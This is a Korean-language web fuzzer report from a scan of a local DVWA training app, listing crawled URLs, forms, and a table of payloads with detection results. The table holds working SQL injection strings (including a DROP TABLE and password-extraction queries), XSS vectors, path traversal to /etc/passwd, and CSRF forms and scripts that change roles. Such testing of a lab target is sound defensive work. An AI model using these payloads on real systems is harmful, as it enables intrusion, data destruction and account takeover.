웹 퍼저 리포트

2025-07-03 16:01:35

목차

1. 크롤링 URL

크롤링한 URL
http://localhost:8000/#module_tokenizer
http://localhost:8000/#module_xmlreader
http://localhost:8000/instructions.php?doc=PDF
http://localhost:8000/instructions.php?doc=changelog
http://localhost:8000/instructions.php?doc=copying
http://localhost:8000/vulnerabilities/javascript
http://localhost:8000/vulnerabilities/open_redirect/source/info.php?id=1
http://localhost:8000/?doc=PDF
http://localhost:8000/#module_openssl
http://localhost:8000/vulnerabilities/xss_d
http://localhost:8000/README.it.md
http://localhost:8000/README.pl.md
http://localhost:8000/
http://localhost:8000/#module_spl
http://localhost:8000/#module_mysqli
http://localhost:8000/logout.php
http://localhost:8000/README.tr.md
http://localhost:8000/phpinfo.php
http://localhost:8000/#module_gd
http://localhost:8000/vulnerabilities/fi/?page=file3.php
http://localhost:8000/vulnerabilities/fi/?page=file2.php
http://localhost:8000/vulnerabilities/brute
http://localhost:8000/vulnerabilities/open_redirect
http://localhost:8000/README.ar.md
http://localhost:8000/vulnerabilities/csp
http://localhost:8000/#module_simplexml
http://localhost:8000/#module_iconv
http://localhost:8000/README.fr.md
http://localhost:8000/security.php
http://localhost:8000/vulnerabilities/csrf
http://localhost:8000/?doc=readme
http://localhost:8000/#database-setup
http://localhost:8000/#module_sodium
http://localhost:8000/#module_ctype
http://localhost:8000/#i-want-to-run-dvwa-on-a-different-port
http://localhost:8000/vulnerabilities/exec
http://localhost:8000/#module_pdo_sqlite
http://localhost:8000/?doc=copying
http://localhost:8000/#module_date

http://localhost:8000/vulnerabilities/fi/?page=file1.php
http://localhost:8000/login.php
http://localhost:8000/setup.php
http://localhost:8000/?doc=changelog
http://localhost:8000/#module_core
http://localhost:8000/#module_standard
http://localhost:8000/vulnerabilities/cryptography
http://localhost:8000/#module_libxml
http://localhost:8000/#module_pdo
http://localhost:8000/vulnerabilities/api
http://localhost:8000/about.php
http://localhost:8000/vulnerabilities/upload
http://localhost:8000/#module_curl
http://localhost:8000/README.fa.md
http://localhost:8000/vulnerabilities/sqli
http://localhost:8000/README.ko.md
http://localhost:8000/config/config.inc.php.dist
http://localhost:8000/#module_fileinfo
http://localhost:8000/README.vi.md
http://localhost:8000/#module_posix
http://localhost:8000/#module_sqlite3
http://localhost:8000/#module_json
http://localhost:8000/#module_random
http://localhost:8000/vulnerabilities/open_redirect/source/info.php?id=2
http://localhost:8000/README.zh.md
http://localhost:8000/#module_xml
http://localhost:8000/#module_filter
http://localhost:8000/#module_pcre
http://localhost:8000/#module_reflection
http://localhost:8000/?page=file1.php
http://localhost:8000/vulnerabilities/sqli_blind
http://localhost:8000/#module_zlib
http://localhost:8000/vulnerabilities/xss_r
http://localhost:8000/README.pt.md
http://localhost:8000/vulnerabilities/fi/?page=include.php
http://localhost:8000/vulnerabilities/weak_id
http://localhost:8000/#module_mbstring
http://localhost:8000/#download
http://localhost:8000/vulnerabilities/xss_s
http://localhost:8000/#module_apache2handler
http://localhost:8000/#php-configuration
http://localhost:8000/?page=file3.php

http://localhost:8000/README.id.md
http://localhost:8000/instructions.php?doc=readme
http://localhost:8000/README.es.md
http://localhost:8000/#module_pdo_mysql
http://localhost:8000/?page=file2.php
http://localhost:8000/compose.yml
http://localhost:8000/#module_session
http://localhost:8000
http://localhost:8000/vulnerabilities/captcha
http://localhost:8000/instructions.php
http://localhost:8000/#module_phar
http://localhost:8000/#module_hash
http://localhost:8000/#module_xmlwriter
http://localhost:8000/#module_dom
http://localhost:8000/#module_mysqlnd

2. 입력 폼 정보

URL	폼 액션	메소드	입력 필드
http://localhost:8000/vulnerabilities/javascript	http://localhost:8000/vulnerabilities/javascript	POST	token (hidden), phrase (text), send (submit)
http://localhost:8000/vulnerabilities/sqli_blind	http://localhost:8000/vulnerabilities/sqli_blind	GET	id (text), Submit (submit)
http://localhost:8000/vulnerabilities/xss_r	http://localhost:8000/vulnerabilities/xss_r	GET	name (text), None (submit)
http://localhost:8000/login.php	http://localhost:8000/login.php	POST	username (text), password (password), Login (submit), user_token (hidden)
http://localhost:8000/vulnerabilities/brute	http://localhost:8000/vulnerabilities/brute	GET	username (text), password (password), Login (submit)
http://localhost:8000/vulnerabilities/csp	http://localhost:8000/vulnerabilities/csp	POST	include (text), None (submit)
http://localhost:8000/security.php	http://localhost:8000/security.php	POST	seclev_submit (submit), user_token (hidden)
http://localhost:8000/vulnerabilities/csrf	http://localhost:8000/vulnerabilities/csrf	GET	password_new (password), password_conf (password), Change (submit)
http://localhost:8000/vulnerabilities/captcha	http://localhost:8000/vulnerabilities/captcha	POST	step (hidden), password_new (password), password_conf (password), Change (submit)
http://localhost:8000/vulnerabilities/exec	http://localhost:8000/vulnerabilities/exec	POST	ip (text), Submit (submit)
http://localhost:8000/setup.php	http://localhost:8000/setup.php	POST	create_db (submit), user_token (hidden)
http://localhost:8000/vulnerabilities/cryptography	http://localhost:8000/vulnerabilities/cryptography/index.php	POST	message (textarea), direction (radio), direction (radio), None (submit)
http://localhost:8000/vulnerabilities/cryptography	http://localhost:8000/vulnerabilities/cryptography/index.php	POST	password (password), None (submit)
http://localhost:8000/vulnerabilities/upload	http://localhost:8000/vulnerabilities/upload	POST	MAX_FILE_SIZE (hidden), uploaded (file), Upload (submit)
http://localhost:8000/vulnerabilities/sqli	http://localhost:8000/vulnerabilities/sqli	GET	id (text), Submit (submit)

3. 퍼징 탐지 결과

카테고리	폼 액션	페이로드	탐지 결과	HTTP 상태	응답 시간
sql_injection	http://localhost:8000/vulnerabilities/javascript	' OR '1'='1	No vulnerability detected	200	0.00s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' OR 1=1 --	No vulnerability detected	200	0.05s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' OR 'a'='a	No vulnerability detected	200	0.10s
sql_injection	http://localhost:8000/vulnerabilities/javascript	'; DROP TABLE users; --	No vulnerability detected	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' OR '1'='1' /*	No vulnerability detected	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' OR '1'='1' ({	No vulnerability detected	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/javascript	admin' --	No vulnerability detected	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' OR '1'='1' #	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/javascript	1' OR sleep(5)--	No vulnerability detected	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' UNION SELECT NULL, NULL, NULL --	No vulnerability detected	200	0.07s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' AND 1=2 UNION SELECT 1,2,3 --	No vulnerability detected	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' OR EXISTS(SELECT * FROM users) --	No vulnerability detected	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	No vulnerability detected	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	No vulnerability detected	200	0.04s
xss	http://localhost:8000/vulnerabilities/javascript	<script>alert('XSS')</script>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/javascript	'"><script>alert('XSS')</script>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/javascript	<img src=x onerror=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/javascript	<svg/onload=alert('XSS')>	No vulnerability detected	200	0.04s
xss	http://localhost:8000/vulnerabilities/javascript	<iframe src='javascript:alert("XSS")'></iframe>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/javascript	<body onload=alert('XSS')>	No vulnerability detected	200	0.07s
xss	http://localhost:8000/vulnerabilities/javascript	<details open ontoggle=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/javascript	<input autofocus onfocus=alert('XSS')>	No vulnerability detected	200	0.03s

xss	http://localhost:8000/vulnerabilities/javascript	<video><source onerror=alert('XSS')>	No vulnerability detected	200	0.05s
xss	http://localhost:8000/vulnerabilities/javascript	Click	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/javascript	<p/onclick=alert(/XSS/)>a	No vulnerability detected	200	0.05s
xss	http://localhost:8000/vulnerabilities/javascript	<script>$=1,alert($)</script>	No vulnerability detected	200	0.06s
xss	http://localhost:8000/vulnerabilities/javascript	<script>alert(1)	No vulnerability detected	200	0.04s
xss	http://localhost:8000/vulnerabilities/javascript	<script>alert(1)<!--XSS	No vulnerability detected	200	0.04s
xss	http://localhost:8000/vulnerabilities/javascript	"><svg/onload=confirm(1)>	No vulnerability detected	200	0.04s
xss	http://localhost:8000/vulnerabilities/javascript	<math><mtext></mtext><script>alert('XSS')</script></math>	No vulnerability detected	200	0.05s
xss	http://localhost:8000/vulnerabilities/javascript	<button form=test onformchange=alert(1)>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/javascript	<form><button formaction="javascript:alert(1)">	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/javascript	<details ontoggle=alert('XSS') open>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/javascript	'"><svg/onload=confirm(1)>	No vulnerability detected	200	0.03s
path_traversal	http://localhost:8000/vulnerabilities/javascript	../../etc/passwd	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/javascript	..%2f..%2fetc%2fpasswd	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/javascript	..₩..₩windows₩system32₩drivers₩etc₩hosts	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/javascript	..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/javascript	Click Me	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/javascript	<img src='http://example.com/api/setusername?username=CSRFd'>	No vulnerability detected	200	0.02s

csrf	http://localhost:8000/vulnerabilities/javascript	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/javascript	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	No vulnerability detected	200	0.10s
csrf	http://localhost:8000/vulnerabilities/javascript	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	No vulnerability detected	200	0.14s
csrf	http://localhost:8000/vulnerabilities/javascript	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.23s
csrf	http://localhost:8000/vulnerabilities/javascript	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	No vulnerability detected	200	0.03s

csrf	http://localhost:8000/vulnerabilities/javascript	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' OR '1'='1	SQL Injection (Differential)	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' OR 1=1 --	SQL Injection (Differential)	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' OR 'a'='a	SQL Injection (Differential)	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	'; DROP TABLE users; --	SQL Injection (Differential)	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' OR '1'='1' /*	SQL Injection (Differential)	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' OR '1'='1' ({	SQL Injection (Differential)	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	admin' --	SQL Injection (Differential)	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' OR '1'='1' #	SQL Injection (Differential)	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	1' OR sleep(5)--	SQL Injection (Differential)	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' UNION SELECT NULL, NULL, NULL --	SQL Injection (Differential)	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' AND 1=2 UNION SELECT 1,2,3 --	SQL Injection (Differential)	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' OR EXISTS(SELECT * FROM users) --	SQL Injection (Differential)	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	SQL Injection (Differential)	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	SQL Injection (Differential)	200	0.01s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<script>alert('XSS')</script>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/sqli_blind	'"><script>alert('XSS')</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<img src=x onerror=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<svg/onload=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<iframe src="javascript:alert("XSS")"></iframe>	No vulnerability detected	200	0.01s

xss	http://localhost:8000/vulnerabilities/sqli_blind	<body onload=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<details open ontoggle=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<input autofocus onfocus=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<video><source onerror=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/sqli_blind	Click	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<p/onclick=alert(/XSS/)>a	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<script>$=1,alert($)</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<script>alert(1)	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<script>alert(1)<!--XSS	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/sqli_blind	"><svg/onload=confirm(1)>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<math><mtext></mtext><script>alert('XSS')</script></math>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<button form=test onformchange=alert(1)>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<form><button formaction="javascript:alert(1)">	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<details ontoggle=alert('XSS') open>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/sqli_blind	'"><svg/onload=confirm(1)>	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/sqli_blind	../../etc/passwd	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/sqli_blind	..%2f..%2fetc%2fpasswd	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/sqli_blind	..₩..₩windows₩system32₩drivers₩etc₩hosts	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/sqli_blind	..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/sqli_blind	Click Me	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/sqli_blind	<img src='http://example.com/api/setusername?username=CSRFd'>	No vulnerability detected	200	0.01s

csrf	http://localhost:8000/vulnerabilities/sqli_blind	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/sqli_blind	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/sqli_blind	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/sqli_blind	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/sqli_blind	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	No vulnerability detected	200	0.02s

csrf	http://localhost:8000/vulnerabilities/sqli_blind	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' OR '1'='1	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' OR 1=1 --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' OR 'a'='a	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	'; DROP TABLE users; --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' OR '1'='1' /*	No vulnerability detected	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' OR '1'='1' ({	No vulnerability detected	200	0.09s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	admin' --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' OR '1'='1' #	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	1' OR sleep(5)--	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' UNION SELECT NULL, NULL, NULL --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' AND 1=2 UNION SELECT 1,2,3 --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' OR EXISTS(SELECT * FROM users) --	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	No vulnerability detected	200	0.02s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	No vulnerability detected	200	0.00s
xss	http://localhost:8000/vulnerabilities/xss_r	<script>alert('XSS')</script>	XSS (HTML tag injection)	200	0.01s
xss	http://localhost:8000/vulnerabilities/xss_r	'"><script>alert('XSS')</script>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/xss_r	<img src=x onerror=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/xss_r	<svg/onload=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/xss_r	<iframe src='javascript:alert("XSS")'></iframe>	XSS (HTML tag injection)	200	0.03s

xss	http://localhost:8000/vulnerabilities/xss_r	<body onload=alert('XSS')>	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/xss_r	<details open ontoggle=alert('XSS')>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/xss_r	<input autofocus onfocus=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/xss_r	<video><source onerror=alert('XSS')>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/xss_r	Click	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/xss_r	<p/onclick=alert(/XSS/)>a	No vulnerability detected	200	0.02s
xss	http://localhost:8000/vulnerabilities/xss_r	<script>$=1,alert($)</script>	XSS (HTML tag injection)	200	0.01s
xss	http://localhost:8000/vulnerabilities/xss_r	<script>alert(1)	XSS (HTML tag injection)	200	0.02s
xss	http://localhost:8000/vulnerabilities/xss_r	<script>alert(1)<!--XSS	XSS (HTML tag injection)	200	0.02s
xss	http://localhost:8000/vulnerabilities/xss_r	"><svg/onload=confirm(1)>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/xss_r	<math><mtext></mtext><script>alert('XSS')</script></math>	XSS (HTML tag injection)	200	0.01s
xss	http://localhost:8000/vulnerabilities/xss_r	<button form=test onformchange=alert(1)>	No vulnerability detected	200	0.01s
xss	http://localhost:8000/vulnerabilities/xss_r	<form><button formaction="javascript:alert(1)">	XSS (HTML tag injection)	200	0.01s
xss	http://localhost:8000/vulnerabilities/xss_r	<details ontoggle=alert('XSS') open>	No vulnerability detected	200	0.03s
xss	http://localhost:8000/vulnerabilities/xss_r	'"><svg/onload=confirm(1)>	No vulnerability detected	200	0.11s
path_traversal	http://localhost:8000/vulnerabilities/xss_r	../../etc/passwd	No vulnerability detected	200	0.01s
path_traversal	http://localhost:8000/vulnerabilities/xss_r	..%2f..%2fetc%2fpasswd	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/xss_r	..₩..₩windows₩system32₩drivers₩etc₩hosts	No vulnerability detected	200	0.02s
path_traversal	http://localhost:8000/vulnerabilities/xss_r	..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/xss_r	Click Me	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/xss_r	<img src='http://example.com/api/setusername?username=CSRFd'>	No vulnerability detected	200	0.03s

csrf	http://localhost:8000/vulnerabilities/xss_r	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	No vulnerability detected	200	0.03s
csrf	http://localhost:8000/vulnerabilities/xss_r	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/xss_r	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/xss_r	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/vulnerabilities/xss_r	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	No vulnerability detected	200	0.01s

csrf	http://localhost:8000/vulnerabilities/xss_r	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.01s
sql_injection	http://localhost:8000/login.php	' OR '1'='1	No vulnerability detected	200	0.11s
sql_injection	http://localhost:8000/login.php	' OR 1=1 --	No vulnerability detected	200	0.16s
sql_injection	http://localhost:8000/login.php	' OR 'a'='a	No vulnerability detected	200	0.18s
sql_injection	http://localhost:8000/login.php	'; DROP TABLE users; --	No vulnerability detected	200	0.18s
sql_injection	http://localhost:8000/login.php	' OR '1'='1' /*	No vulnerability detected	200	0.18s
sql_injection	http://localhost:8000/login.php	' OR '1'='1' ({	No vulnerability detected	200	0.14s
sql_injection	http://localhost:8000/login.php	admin' --	No vulnerability detected	200	0.22s
sql_injection	http://localhost:8000/login.php	' OR '1'='1' #	No vulnerability detected	200	0.14s
sql_injection	http://localhost:8000/login.php	1' OR sleep(5)--	No vulnerability detected	200	0.14s
sql_injection	http://localhost:8000/login.php	' UNION SELECT NULL, NULL, NULL --	No vulnerability detected	200	0.14s
sql_injection	http://localhost:8000/login.php	' AND 1=2 UNION SELECT 1,2,3 --	No vulnerability detected	200	0.14s
sql_injection	http://localhost:8000/login.php	' OR EXISTS(SELECT * FROM users) --	No vulnerability detected	200	0.14s
sql_injection	http://localhost:8000/login.php	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	No vulnerability detected	200	0.13s
sql_injection	http://localhost:8000/login.php	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	No vulnerability detected	200	0.14s
xss	http://localhost:8000/login.php	<script>alert('XSS')</script>	No vulnerability detected	200	0.20s
xss	http://localhost:8000/login.php	'"><script>alert('XSS')</script>	No vulnerability detected	200	0.13s
xss	http://localhost:8000/login.php	<img src=x onerror=alert('XSS')>	No vulnerability detected	200	0.13s
xss	http://localhost:8000/login.php	<svg/onload=alert('XSS')>	No vulnerability detected	200	0.13s
xss	http://localhost:8000/login.php	<iframe src='javascript:alert("XSS")'></iframe>	No vulnerability detected	200	0.15s

xss	http://localhost:8000/login.php	<body onload=alert('XSS')>	No vulnerability detected	200	0.13s
xss	http://localhost:8000/login.php	<details open ontoggle=alert('XSS')>	No vulnerability detected	200	0.14s
xss	http://localhost:8000/login.php	<input autofocus onfocus=alert('XSS')>	No vulnerability detected	200	0.14s
xss	http://localhost:8000/login.php	<video><source onerror=alert('XSS')>	No vulnerability detected	200	0.13s
xss	http://localhost:8000/login.php	Click	No vulnerability detected	200	0.14s
xss	http://localhost:8000/login.php	<p/onclick=alert(/XSS/)>a	No vulnerability detected	200	0.13s
xss	http://localhost:8000/login.php	<script>$=1,alert($)</script>	No vulnerability detected	200	0.14s
xss	http://localhost:8000/login.php	<script>alert(1)	No vulnerability detected	200	0.15s
xss	http://localhost:8000/login.php	<script>alert(1)<!--XSS	No vulnerability detected	200	0.14s
xss	http://localhost:8000/login.php	"><svg/onload=confirm(1)>	No vulnerability detected	200	0.13s
xss	http://localhost:8000/login.php	<math><mtext></mtext><script>alert('XSS')</script></math>	No vulnerability detected	200	0.14s
xss	http://localhost:8000/login.php	<button form=test onformchange=alert(1)>	No vulnerability detected	200	0.13s
xss	http://localhost:8000/login.php	<form><button formaction="javascript:alert(1)">	No vulnerability detected	200	0.13s
xss	http://localhost:8000/login.php	<details ontoggle=alert('XSS') open>	No vulnerability detected	200	0.15s
xss	http://localhost:8000/login.php	'"><svg/onload=confirm(1)>	No vulnerability detected	200	0.14s
path_traversal	http://localhost:8000/login.php	../../etc/passwd	No vulnerability detected	200	0.20s
path_traversal	http://localhost:8000/login.php	..%2f..%2fetc%2fpasswd	No vulnerability detected	200	0.14s
path_traversal	http://localhost:8000/login.php	..₩..₩windows₩system32₩drivers₩etc₩hosts	No vulnerability detected	200	0.14s
path_traversal	http://localhost:8000/login.php	..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts	No vulnerability detected	200	0.14s
csrf	http://localhost:8000/login.php	Click Me	No vulnerability detected	200	0.11s
csrf	http://localhost:8000/login.php	<img src='http://example.com/api/setusername?username=CSRFd'>	No vulnerability detected	200	0.14s

csrf	http://localhost:8000/login.php	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	No vulnerability detected	200	0.17s
csrf	http://localhost:8000/login.php	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	No vulnerability detected	200	0.14s
csrf	http://localhost:8000/login.php	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	No vulnerability detected	200	0.15s
csrf	http://localhost:8000/login.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	No vulnerability detected	200	0.13s
csrf	http://localhost:8000/login.php	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	No vulnerability detected	200	0.14s

